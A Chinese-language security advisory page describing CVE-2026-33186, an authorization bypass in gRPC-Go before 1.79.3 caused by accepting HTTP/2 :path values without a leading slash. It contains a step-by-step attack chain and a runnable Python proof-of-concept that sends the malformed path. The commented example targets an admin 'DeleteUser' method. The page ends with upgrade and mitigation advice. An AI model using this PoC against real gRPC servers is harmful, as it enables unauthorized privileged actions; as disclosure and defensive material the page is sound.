IPBUF安全漏洞报告
English
CVE-2026-33186 CVSS 9.1 严重

CVE-2026-33186 gRPC-Go 授权绕过漏洞

披露日期: 2026-03-20

漏洞信息

漏洞编号
CVE-2026-33186
漏洞类型
授权绕过
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
gRPC-Go

相关标签

授权绕过gRPC-Go输入验证HTTP/2RBACCVSS:9.1

漏洞概述

gRPC-Go 在 1.79.3 之前的版本中存在授权绕过漏洞。由于对 HTTP/2 `:path` 伪头部的输入验证不当,服务器过于宽松地接受缺少前导斜杠的请求路径。这导致授权拦截器无法正确匹配基于规范路径定义的“拒绝”规则,从而允许攻击者绕过安全策略访问受保护资源。

技术细节

该漏洞源于 gRPC-Go 服务器的路由逻辑对 HTTP/2 `:path` 伪头部验证过于宽松。正常情况下,gRPC 路径应以 `/` 开头(如 `/Service/Method`)。然而,服务器接受形如 `Service/Method` 的路径。虽然请求能被正确路由至处理程序,但授权拦截器(如官方 `grpc/authz`)评估的是原始路径字符串。如果安全策略包含针对规范路径的特定“拒绝”规则,但默认允许其他请求,攻击者可以通过发送缺少前导斜杠的畸形 HTTP/2 帧,使得“拒绝”规则失效,从而绕过授权检查。漏洞利用需要攻击者能够直接向服务器发送原始 HTTP/2 帧。修复版本 1.79.3 通过直接拒绝非规范路径请求解决了此问题。

攻击链分析

STEP 1
侦察阶段
攻击者识别出目标服务器使用的是存在漏洞的 gRPC-Go 版本(< 1.79.3),并确认其使用了基于路径的授权拦截器(如 RBAC)。
STEP 2
构造畸形请求
攻击者利用原始 HTTP/2 帧构造工具,创建一个 gRPC 请求,将 `:path` 伪头部设置为缺少前导斜杠的形式(例如 `Service/Method` 而非 `/Service/Method`)。
STEP 3
发送恶意请求
攻击者将该畸形请求直接发送至 gRPC 服务器。服务器路由逻辑接受该路径并将其导向正确的处理函数。
STEP 4
绕过授权检查
授权拦截器检查原始路径字符串。由于安全策略中的“拒绝”规则针对的是规范路径(带 `/`),因此未能匹配当前请求。如果存在默认的“允许”规则,请求将通过验证。
STEP 5
达成利用
攻击者成功执行了本应被“拒绝”规则拦截的受限操作,实现了权限提升或未授权访问。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import h2.connection import h2.events import socket def send_malformed_grpc(host, port, service, method): """ PoC to demonstrate authorization bypass via malformed :path header. Sends a request without the leading slash to bypass deny rules. """ sock = socket.create_connection((host, port)) h2_conn = h2.connection.H2Connection() h2_conn.initiate_connection() sock.sendall(h2_conn.data_to_send()) # Malformed path: 'Service/Method' instead of '/Service/Method' path = f"{service}/{method}" headers = [ (':method', 'POST'), (':path', path), (':scheme', 'http'), (':authority', host), ('content-type', 'application/grpc'), ('te', 'trailers'), ] h2_conn.send_headers(1, headers, end_stream=True) sock.sendall(h2_conn.data_to_send()) print(f"[+] Sent request with malformed path: {path}") print("[+] Check if the request was processed despite authorization policies.") sock.close() # Usage Example # send_malformed_grpc("target.com", 443, "AdminService", "DeleteUser")

影响范围

gRPC-Go < 1.79.3

防御指南

临时缓解措施
建议立即升级至 1.79.3 或更高版本。若无法立即升级,可实施以下缓解措施:1. 部署验证拦截器,拒绝所有不以 `/` 开头的路径请求;2. 在网络基础设施层对传入的 HTTP/2 请求进行路径规范化处理;3. 修改安全策略,移除默认的“允许”规则,仅明确允许特定的规范路径。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表